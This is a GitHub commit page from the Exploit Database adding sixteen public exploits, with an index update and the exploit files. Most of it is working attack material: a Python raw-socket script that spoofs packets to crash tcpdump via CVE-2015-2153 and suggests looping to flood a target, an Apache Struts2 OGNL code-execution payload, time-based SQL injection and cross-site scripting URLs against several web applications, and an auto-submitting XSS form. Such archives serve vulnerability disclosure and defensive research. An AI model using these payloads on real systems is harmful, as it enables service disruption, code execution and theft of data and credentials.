Skip to content

Commit 84f5ff0

Browse files
author
Offensive Security
committed
DB: 2015-07-21
16 new exploits
1 parent 47c7b2c commit 84f5ff0

17 files changed

Lines changed: 367 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33976,3 +33976,19 @@ id,file,description,date,author,platform,type,port
3397633976
37640,platforms/windows/dos/37640.pl,"Divx Player Denial of Service Vulnerability",2012-08-20,Dark-Puzzle,windows,dos,0
3397733977
37641,platforms/php/webapps/37641.txt,"JPM Article Blog Script 6 'tid' Parameter Cross Site Scripting Vulnerability",2012-08-21,Mr.0c3aN,php,webapps,0
3397833978
37642,platforms/php/webapps/37642.txt,"SaltOS 'download.php' Cross Site Scripting Vulnerability",2012-08-18,"Stefan Schurtz",php,webapps,0
33979+
37643,platforms/php/webapps/37643.txt,"IBM Rational ClearQuest <= 8.0 Multiple Security Vulnerabilities",2012-08-27,anonymous,php,webapps,0
33980+
37644,platforms/php/webapps/37644.txt,"Jara 1.6 Multiple SQL Injection and Multiple Cross Site Scripting Vulnerabilities",2012-08-22,"Canberk BOLAT",php,webapps,0
33981+
37645,platforms/php/webapps/37645.txt,"OrderSys 1.6.4 Multiple SQL Injection and Multiple Cross Site Scripting Vulnerabilities",2012-08-22,"Canberk BOLAT",php,webapps,0
33982+
37646,platforms/php/webapps/37646.txt,"Banana Dance Cross Site Scripting and SQL Injection Vulnerabilities",2012-08-22,"Canberk BOLAT",php,webapps,0
33983+
37647,platforms/multiple/remote/37647.txt,"Apache Struts2 Skill Name Remote Code Execution Vulnerability",2012-08-23,kxlzx,multiple,remote,0
33984+
37648,platforms/php/webapps/37648.txt,"Joomla! CiviCRM Component Multiple Arbitrary File Upload Vulnerabilities",2012-08-22,Crim3R,php,webapps,0
33985+
37649,platforms/php/webapps/37649.html,"SiNG cms 'password.php' Cross Site Scripting Vulnerability",2012-08-23,LiquidWorm,php,webapps,0
33986+
37650,platforms/php/webapps/37650.txt,"1024 CMS 2.1.1 'p' Parameter SQL Injection Vulnerability",2012-08-22,kallimero,php,webapps,0
33987+
37651,platforms/php/webapps/37651.html,"Monstra Multiple HTML Injection Vulnerabilities",2012-08-23,LiquidWorm,php,webapps,0
33988+
37652,platforms/php/webapps/37652.txt,"KindEditor 'name' Parameter Cross Site Scripting Vulnerability",2012-08-23,LiquidWorm,php,webapps,0
33989+
37653,platforms/php/webapps/37653.txt,"WordPress Rich Widget Plugin Arbitrary File Upload Vulnerability",2012-08-22,Crim3R,php,webapps,0
33990+
37654,platforms/php/webapps/37654.txt,"WordPress Monsters Editor for WP Super Edit Plugin Arbitrary File Upload Vulnerability",2012-08-22,Crim3R,php,webapps,0
33991+
37655,platforms/windows/remote/37655.c,"Adobe Pixel Bender Toolkit2 'tbbmalloc.dll' Multiple DLL Loading Code Execution Vulnerabilities",2012-08-23,coolkaveh,windows,remote,0
33992+
37656,platforms/php/webapps/37656.txt,"PHP Web Scripts Ad Manager Pro 'page' Parameter Local File Include Vulnerability",2012-08-23,"Corrado Liotta",php,webapps,0
33993+
37657,platforms/windows/local/37657.txt,"Microsoft Word Local Machine Zone Remote Code Execution Vulnerability",2015-07-20,"Eduardo Braun Prado",windows,local,0
33994+
37663,platforms/linux/dos/37663.txt,"TcpDump rpki_rtr_pdu_print Out-of-Bounds Denial of Service",2015-07-20,"Luke Arntson",linux,dos,0

‎platforms/linux/dos/37663.txt‎

Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
# Exploit Title: TcpDump rpki_rtr_pdu_print Out-of-Bounds Denial of Service
2+
# Date: 7.18.2015
3+
# Exploit Author: Luke Arntson arntsonl@gmail.com
4+
# Vendor Homepage: http://www.tcpdump.org/
5+
# Software Link: http://www.tcpdump.org/
6+
# Version: 4.6.2, 4.5.1, 4.4.0
7+
# Tested on: Lubuntu 14.04 64-bit
8+
# CVE : CVE-2015-2153
9+
10+
# Note: tcpdump must be running in verbose mode for this Denial-of-Service to trigger.
11+
12+
import socket, sys
13+
from struct import *
14+
15+
def checksum(msg):
16+
s = 0
17+
for i in range(0, len(msg), 2):
18+
w = ord(msg[i]) + (ord(msg[i+1]) << 8 )
19+
s = s + w
20+
s = (s>>16) + (s & 0xffff);
21+
s = s + (s >> 16);
22+
s = ~s & 0xffff
23+
return s
24+
25+
if len(sys.argv) != 3:
26+
print "Usage: ./CVE-2015-2153.py <source-ip> <destination-ip>"
27+
exit()
28+
29+
# fake the source and destination
30+
source_ip = sys.argv[1]
31+
dest_ip = sys.argv[2]
32+
33+
try:
34+
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
35+
except socket.error , msg:
36+
print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
37+
sys.exit()
38+
39+
packet = ''
40+
41+
# ip header fields
42+
ip_ihl = 5
43+
ip_ver = 4
44+
ip_tos = 0
45+
ip_tot_len = 0 # kernel will fill the correct total length
46+
ip_id = 54321 #Id of this packet
47+
ip_frag_off = 0
48+
ip_ttl = 255
49+
ip_proto = socket.IPPROTO_TCP
50+
ip_check = 0 # kernel will fill the correct checksum
51+
ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to
52+
ip_daddr = socket.inet_aton ( dest_ip )
53+
54+
ip_ihl_ver = (ip_ver << 4) + ip_ihl
55+
56+
ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)
57+
58+
# tcp header fields
59+
tcp_source = 255 # source port
60+
tcp_dest = 323 # destination port
61+
tcp_seq = 454
62+
tcp_ack_seq = 0
63+
tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes
64+
#tcp flags
65+
tcp_fin = 0
66+
tcp_syn = 1
67+
tcp_rst = 0
68+
tcp_psh = 0
69+
tcp_ack = 0
70+
tcp_urg = 0
71+
tcp_window = socket.htons (5840) # maximum allowed window size
72+
tcp_check = 0
73+
tcp_urg_ptr = 0
74+
75+
tcp_offset_res = (tcp_doff << 4) + 0
76+
tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5)
77+
78+
tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr)
79+
80+
# CVE-2015-2153 out-of-bounds occurs here, when we send in a bad message length to the error type.
81+
# The RPKI pdu looks like the following
82+
# [ pdu version ] [ pdu type ] [ error id ] [ packet length ] [ encapsulated pdu length ] [ message length ] [ message ]
83+
# by giving message length a long value, we cause the buffer to write into bad memory
84+
error_pdu = '\x41' # fake version
85+
error_pdu = error_pdu + '\x0A' # error type
86+
error_pdu = error_pdu + '\x00\x01' # error number
87+
error_pdu = error_pdu + '\x00\x00\x00\x08' # must be less than or equal to total packet length
88+
error_pdu = error_pdu + '\x00\x00\x00\x00' # no encapsulated pdu
89+
error_pdu = error_pdu + '\x7F\xFF\xFF\xFF' # overwrite out-of-bounds '\0', causing DoS
90+
error_pdu = error_pdu + 'AAAA' # fake message
91+
92+
user_data = error_pdu
93+
94+
# pseudo header fields
95+
source_address = socket.inet_aton( source_ip )
96+
dest_address = socket.inet_aton(dest_ip)
97+
placeholder = 0
98+
protocol = socket.IPPROTO_TCP
99+
tcp_length = len(tcp_header) + len(user_data)
100+
101+
psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
102+
psh = psh + tcp_header + user_data;
103+
104+
tcp_check = checksum(psh)
105+
106+
# make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order
107+
tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr)
108+
109+
# final full packet - syn packets dont have any data
110+
packet = ip_header + tcp_header + user_data
111+
112+
#Send the packet finally - the port specified has no effect
113+
s.sendto(packet, (dest_ip , 0 )) # put this in a loop if you want to flood the target

‎platforms/multiple/remote/37647.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/55165/info
2+
3+
Apache Struts2 is prone to a remote-code-execution vulnerability because it fails to sufficiently sanitize user-supplied input.
4+
5+
Attackers can exploit this issue to execute arbitrary code in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
6+
7+
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

‎platforms/php/webapps/37643.txt‎

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
source: http://www.securityfocus.com/bid/55125/info
2+
3+
IBM Rational ClearQuest is prone to the following security vulnerabilities:
4+
5+
1. An HTML-injection vulnerability.
6+
7+
2. Multiple information-disclosure vulnerabilities.
8+
9+
3. A security-bypass vulnerability.
10+
11+
Attackers may leverage these issues to obtain potentially sensitive session information, bypass certain security restrictions, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks are also possible.
12+
13+
The following versions are affected:
14+
15+
IBM Rational ClearQuest 7.1.x through versions 7.1.2.7
16+
IBM Rational ClearQuest 8.x through versions 8.0.0.3
17+
18+
https://www.example.com/snoop
19+
https://www.example.com/hello
20+
https://www.example.com/ivt/
21+
https://www.example.com/hitcount
22+
https://www.example.com/HitCount.jsp
23+
https://www.example.com/HelloHTMLError.jsp
24+
https://www.example.com/HelloHTML.jsp
25+
https://www.example.com/HelloVXMLError.jsp
26+
https://www.example.com/HelloVXML.jsp
27+
https://www.example.com/HelloWMLError.jsp
28+
https://www.example.com/HelloWML.jsp
29+
https://www.example.com/cqweb/j_security_check

‎platforms/php/webapps/37644.txt‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
source: http://www.securityfocus.com/bid/55145/info
2+
3+
Jara is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
4+
5+
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
Jara 1.6 is vulnerable; other versions may also be affected.
8+
9+
SQL Injection Vulnerabilities:
10+
11+
http://example.com/login.php (POST - username)
12+
13+
http://example.com/login.php (POST - password)
14+
15+
http://example.com/admin/delete_page.php?id='%2BNSFTW%2B&apos;
16+
17+
http://example.com/admin/delete_post.php?id='%2BNSFTW%2B&apos;
18+
19+
http://example.com/admin/delete_category.php?id='%2BNSFTW%2B&apos;
20+
21+
http://example.com/admin/delete_user.php?id='%2BNSFTW%2B&apos;
22+
23+
http://example.com/admin/edit_page.php?id='%2BNSFTW%2B&apos;
24+
25+
http://example.com/admin/edit_user.php?id='%2BNSFTW%2B&apos;
26+
27+
http://example.com/admin/edit_post.php (POST - id)
28+
29+
http://example.com/admin/edit_category.php (POST - id)
30+
31+
32+
Cross-site scripting Vulnearbilities:
33+
34+
http://example.com/view.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0031F8)%3C/script%3E
35+
36+
http://example.com/page.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003214)%3C/script%3E
37+
38+
http://example.com/category.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0032D5)%3C/script%3E
39+
40+
http://example.com/login.php (POST - username)
41+
42+
http://example.com/login.php (POST - password)
43+
44+
http://example.com/admin/delete_page.php?id='%3E%3Cscript%3Enetsparker(9)%3C/script%3E
45+
46+
http://example.com/admin/delete_category.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003548)%3C/script%3E
47+
48+
http://example.com/admin/delete_post.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0034CE)%3C/script%3E
49+
50+
http://example.com/admin/delete_user.php?id='%3E%3Cscript%3Enetsparker(9)%3C/script%3E
51+
52+
http://example.com/admin/edit_post.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0034D5)%3C/script%3E
53+
54+
http://example.com/admin/edit_category.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003542)%3C/script%3E
55+
56+
http://example.com/admin/edit_page.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003569)%3C/script%3E
57+
58+
http://example.com/admin/edit_user.php?id='%3E%3Cscript%3Enetsparker(9)%3C/script%3E

‎platforms/php/webapps/37645.txt‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
source: http://www.securityfocus.com/bid/55147/info
2+
3+
OrderSys is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
4+
5+
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
OrderSys 1.6.4 is vulnerable; other versions may also be affected.
8+
9+
http://example.com/ordering/items.php?smenu_1=-1+AND+(SELECT+1+FROM+(SELECT+2)a+WHERE+1%3Dsleep(25))--+1&sterm_1=3&sbool=AND&smenu_2=Name&sterm_2=3&order_1=ASC&order_2=ASC&sort_1=3&sort_2=3
10+
http://example.com/ordering/vendors.php?smenu_1=-1+AND+(SELECT+1+FROM+(SELECT+2)a+WHERE+1%3Dsleep(25))--+1&sterm_1=3&sbool=AND&smenu_2=Name&sterm_2=3&order_1=ASC&order_2=ASC&sort_1=3&sort_2=3&submit_find=Find
11+
http://example.com/ordering/items.php?page='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0007B1)%3C/script%3E&where_condition=3&order_condition=name%20ASC
12+
http://example.com/ordering/vendors.php/%22%20stYle=%22x:expre/**/ssion(netsparker(9))
13+
http://example.com/ordering/items.php/%22%20stYle=%22x:expre/**/ssion(netsparker(9))
14+
http://example.com/ordering/orders.php/%22%20stYle=%22x:expre/**/ssion(netsparker(9))
15+
http://example.com/ordering/interface_creator/index_short.php?table_name=item&function=details&where_field='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0008F1)%3C/script%3E&where_value=279
16+
http://example.com/ordering/interface_creator/index_short.php?table_name=vendor&function=search&where_clause='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000F5B)%3C/script%3E&page=0&order=Name&order_type=DESC
17+
http://example.com/ordering/interface_creator/index_short.php?table_name=vendor&function=search&where_clause=3&page='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000F79)%3C/script%3E&order=Name&order_type=DESC
18+
http://example.com/ordering/interface_creator/login.php?function='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0008F4)%3C/script%3E&go_to=(http%3A%2F%2Fubuntu%2Ftargets%2Fordersys%2Fordering%2Fadmin.php)
19+
http://example.com/ordering/interface_creator/login.php?function=admin&go_to='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000902)%3C/script%3E
20+
http://example.com/ordering/interface_creator/?function=search&where_clause='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000C70)%3C/script%3E&page=0&table_name=vendor
21+
http://example.com/ordering/interface_creator/?function=search&where_clause=3&page='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000C96)%3C/script%3E&table_name=vendor
22+
http://example.com/ordering/interface_creator/index_long.php?table_name=vendor&function=search&where_clause='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000B34)%3C/script%3E&page=0&order=Name&order_type=DESC
23+
http://example.com/ordering/interface_creator/index_long.php?table_name=vendor&function=search&where_clause=3&page='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000B3F)%3C/script%3E&order=Name&order_type=DESC

‎platforms/php/webapps/37646.txt‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
source: http://www.securityfocus.com/bid/55153/info
2+
3+
Banana Dance is prone to cross-site-scripting and SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
4+
5+
Exploiting these issues could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
Banana Dance B.2.1 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000174)%3C/script%3E&category=3
10+
http://www.example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00017B)%3C/script%3E&category=3
11+
http://www.example.com/search.php?q=234&category=-111%27)%20OR%20SLEEP(25)=0%20LIMIT%201--+

‎platforms/php/webapps/37648.txt‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
source: http://www.securityfocus.com/bid/55166/info
2+
3+
The CiviCRM component for Joomla! is prone to multiple arbitrary file-upload vulnerabilities that allows attackers to upload arbitrary files because the application fails to adequately sanitize user-supplied input.
4+
5+
An attacker can exploit these vulnerabilities to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
6+
7+
http://www.example.com/lynda/administrator/components/com_civicrm/civicrm/packages/fckeditor/editor/filemanager/connectors/uploadtest.html
8+
9+
http://www.example.com/administrator/components/com_civicrm/civicrm/packages/fckeditor/editor/filemanager/connectors/test.html
10+
11+
http://www.example.com/mada/administrator/components/com_civicrm/civicrm/packages/fckeditor/editor/filemanager/connectors/test.html

‎platforms/php/webapps/37649.html‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/55168/info
2+
3+
SiNG cms is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
4+
5+
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
SiNG cms 2.9.0 is vulnerable; other versions may also be affected.
8+
9+
<html> <head> <title>SiNG cms 2.9.0 (email) Remote XSS POST Injection Vulnerability</title> </head> <body> <form name="email" method="post" action="http://www,example.com/singcms/password.php"> <input type="hidden" name="email" value='"><script>alert("XSS");</script>' /> <input type="hidden" name="send" value="Send password" /> </form> <script type="text/javascript"> document.email.submit(); </script> </body> </html>

‎platforms/php/webapps/37650.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/55170/info
2+
3+
1024 CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
1024 CMS 2.1.1 is vulnerable; other versions may also be affected.
8+
9+
http:// www.example.com/index.php?p=[SQLi]

0 commit comments

Comments
 (0)